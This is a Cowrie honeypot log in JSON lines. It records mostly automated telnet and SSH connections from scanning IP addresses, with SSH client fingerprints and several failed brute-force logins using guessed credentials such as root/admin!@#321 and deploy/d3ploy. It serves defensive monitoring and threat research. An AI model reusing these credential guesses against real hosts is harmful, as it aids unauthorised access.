{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37528,"dst_ip":"159.203.135.109","dst_port":23,"session":"acee38bea274","protocol":"telnet","message":"New connection: 161.97.105.174:37528 (159.203.135.109:23) [session: acee38bea274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:04.709364Z"}
{"eventid":"cowrie.session.closed","duration":33.35570049285889,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:05.540845Z","src_ip":"161.97.105.174","session":"8159c6a61f0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37532,"dst_ip":"159.203.135.109","dst_port":23,"session":"69bef3b2a6c8","protocol":"telnet","message":"New connection: 161.97.105.174:37532 (159.203.135.109:23) [session: 69bef3b2a6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:06.502144Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37542,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee1bd19778d5","protocol":"telnet","message":"New connection: 161.97.105.174:37542 (159.203.135.109:23) [session: ee1bd19778d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:07.120341Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33644,"dst_ip":"159.203.135.109","dst_port":23,"session":"18f672683659","protocol":"telnet","message":"New connection: 161.97.105.174:33644 (159.203.135.109:23) [session: 18f672683659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:08.603805Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33656,"dst_ip":"159.203.135.109","dst_port":23,"session":"6804fb21a639","protocol":"telnet","message":"New connection: 161.97.105.174:33656 (159.203.135.109:23) [session: 6804fb21a639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:08.783593Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33670,"dst_ip":"159.203.135.109","dst_port":23,"session":"298832081673","protocol":"telnet","message":"New connection: 161.97.105.174:33670 (159.203.135.109:23) [session: 298832081673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:09.422604Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":53058,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a42b8ebe1ca","protocol":"ssh","message":"New connection: 200.187.71.114:53058 (10.17.0.5:22) [session: 4a42b8ebe1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:11.420113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:11.425201Z","src_ip":"200.187.71.114","session":"4a42b8ebe1ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:11.539527Z","src_ip":"200.187.71.114","session":"4a42b8ebe1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali1","message":"login attempt [root/ali1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:12.026440Z","src_ip":"200.187.71.114","session":"4a42b8ebe1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.003048419952393,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:12.807523Z","src_ip":"118.170.90.14","session":"87264c2feb27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:13.143540Z","src_ip":"200.187.71.114","session":"4a42b8ebe1ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33676,"dst_ip":"159.203.135.109","dst_port":23,"session":"1374ab029774","protocol":"telnet","message":"New connection: 161.97.105.174:33676 (159.203.135.109:23) [session: 1374ab029774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:13.611557Z"}
{"eventid":"cowrie.session.closed","duration":36.33517074584961,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:15.349425Z","src_ip":"161.97.105.174","session":"dbedae5ebebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33692,"dst_ip":"159.203.135.109","dst_port":23,"session":"3870cfc39c9f","protocol":"telnet","message":"New connection: 161.97.105.174:33692 (159.203.135.109:23) [session: 3870cfc39c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:15.407571Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33700,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e12031f09e1","protocol":"telnet","message":"New connection: 161.97.105.174:33700 (159.203.135.109:23) [session: 8e12031f09e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:15.916234Z"}
{"eventid":"cowrie.session.closed","duration":33.47339153289795,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:17.088576Z","src_ip":"161.97.105.174","session":"5d7a4906528a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53746438026428,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:18.350548Z","src_ip":"161.97.105.174","session":"6b8dd05b0f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66824674606323,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:19.409466Z","src_ip":"161.97.105.174","session":"3d240282d5b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54666209220886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:20.206171Z","src_ip":"161.97.105.174","session":"00730149d9d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.61092782020569,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:21.593580Z","src_ip":"161.97.105.174","session":"a15c276e8944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49476861953735,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:23.966160Z","src_ip":"161.97.105.174","session":"85535024b8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59690,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e03cda6c87a","protocol":"telnet","message":"New connection: 161.97.105.174:59690 (159.203.135.109:23) [session: 2e03cda6c87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:24.792022Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59692,"dst_ip":"159.203.135.109","dst_port":23,"session":"803fe264ef15","protocol":"telnet","message":"New connection: 161.97.105.174:59692 (159.203.135.109:23) [session: 803fe264ef15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:25.378969Z"}
{"eventid":"cowrie.session.closed","duration":31.762420892715454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:25.387019Z","src_ip":"161.97.105.174","session":"565456edf874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59704,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1457c64f765","protocol":"telnet","message":"New connection: 161.97.105.174:59704 (159.203.135.109:23) [session: c1457c64f765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:26.311991Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":53248,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbf6fa716215","protocol":"ssh","message":"New connection: 154.219.100.220:53248 (10.17.0.5:22) [session: dbf6fa716215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:28.313987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:28.318430Z","src_ip":"154.219.100.220","session":"dbf6fa716215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:28.528585Z","src_ip":"154.219.100.220","session":"dbf6fa716215","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3ploy","message":"login attempt [deploy/d3ploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:29.401052Z","src_ip":"154.219.100.220","session":"dbf6fa716215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:30.613460Z","src_ip":"154.219.100.220","session":"dbf6fa716215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42978,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f05a6bc0299","protocol":"telnet","message":"New connection: 161.97.105.174:42978 (159.203.135.109:23) [session: 0f05a6bc0299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:30.708059Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42994,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5066bb8dac0","protocol":"telnet","message":"New connection: 161.97.105.174:42994 (159.203.135.109:23) [session: f5066bb8dac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:30.724707Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42998,"dst_ip":"159.203.135.109","dst_port":23,"session":"d32f464a5662","protocol":"telnet","message":"New connection: 161.97.105.174:42998 (159.203.135.109:23) [session: d32f464a5662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:32.105520Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":36008,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa21bc76ab9d","protocol":"ssh","message":"New connection: 202.125.94.71:36008 (10.17.0.5:22) [session: fa21bc76ab9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:33.839805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:33.844872Z","src_ip":"202.125.94.71","session":"fa21bc76ab9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":43348,"dst_ip":"10.17.0.5","dst_port":22,"session":"a04fcc6b13a1","protocol":"ssh","message":"New connection: 152.32.130.174:43348 (10.17.0.5:22) [session: a04fcc6b13a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:33.945962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:33.950684Z","src_ip":"152.32.130.174","session":"a04fcc6b13a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:34.103447Z","src_ip":"202.125.94.71","session":"fa21bc76ab9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:34.174346Z","src_ip":"152.32.130.174","session":"a04fcc6b13a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#321","message":"login attempt [root/admin!@#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:35.100931Z","src_ip":"152.32.130.174","session":"a04fcc6b13a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.419407606124878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:35.128634Z","src_ip":"161.97.105.174","session":"acee38bea274","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rezareza","message":"login attempt [root/rezareza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:35.173625Z","src_ip":"202.125.94.71","session":"fa21bc76ab9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.32785725593567,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:35.373040Z","src_ip":"161.97.105.174","session":"e4fcaa76eb0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:36.327504Z","src_ip":"152.32.130.174","session":"a04fcc6b13a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:36.437684Z","src_ip":"202.125.94.71","session":"fa21bc76ab9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.3683717250824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:36.617836Z","src_ip":"161.97.105.174","session":"c4190ec9d817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43016,"dst_ip":"159.203.135.109","dst_port":23,"session":"22a3d4e24ae2","protocol":"telnet","message":"New connection: 161.97.105.174:43016 (159.203.135.109:23) [session: 22a3d4e24ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:36.810668Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59140,"dst_ip":"159.203.135.109","dst_port":23,"session":"8892f55ea867","protocol":"telnet","message":"New connection: 161.97.105.174:59140 (159.203.135.109:23) [session: 8892f55ea867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:39.838348Z"}
{"eventid":"cowrie.session.closed","duration":33.04241228103638,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:40.162566Z","src_ip":"161.97.105.174","session":"ee1bd19778d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.450236320495605,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:40.952245Z","src_ip":"161.97.105.174","session":"69bef3b2a6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59152,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf3c09186d48","protocol":"telnet","message":"New connection: 161.97.105.174:59152 (159.203.135.109:23) [session: cf3c09186d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:41.537106Z"}
{"eventid":"cowrie.session.closed","duration":35.05577635765076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:43.839271Z","src_ip":"161.97.105.174","session":"6804fb21a639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59164,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4e91192701","protocol":"telnet","message":"New connection: 161.97.105.174:59164 (159.203.135.109:23) [session: 9c4e91192701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:44.678503Z"}
{"eventid":"cowrie.session.closed","duration":37.22731804847717,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:45.831028Z","src_ip":"161.97.105.174","session":"18f672683659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.14847278594971,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:46.570957Z","src_ip":"161.97.105.174","session":"298832081673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59172,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b92a2dd035","protocol":"telnet","message":"New connection: 161.97.105.174:59172 (159.203.135.109:23) [session: 43b92a2dd035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:47.068605Z"}
{"eventid":"cowrie.session.closed","duration":33.27598571777344,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:48.683408Z","src_ip":"161.97.105.174","session":"3870cfc39c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40554,"dst_ip":"159.203.135.109","dst_port":23,"session":"880b17901719","protocol":"telnet","message":"New connection: 161.97.105.174:40554 (159.203.135.109:23) [session: 880b17901719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:48.803870Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40564,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c9fb85d0fb","protocol":"telnet","message":"New connection: 161.97.105.174:40564 (159.203.135.109:23) [session: 48c9fb85d0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:48.808806Z"}
{"eventid":"cowrie.session.closed","duration":35.42828369140625,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:49.039746Z","src_ip":"161.97.105.174","session":"1374ab029774","protocol":"telnet"}
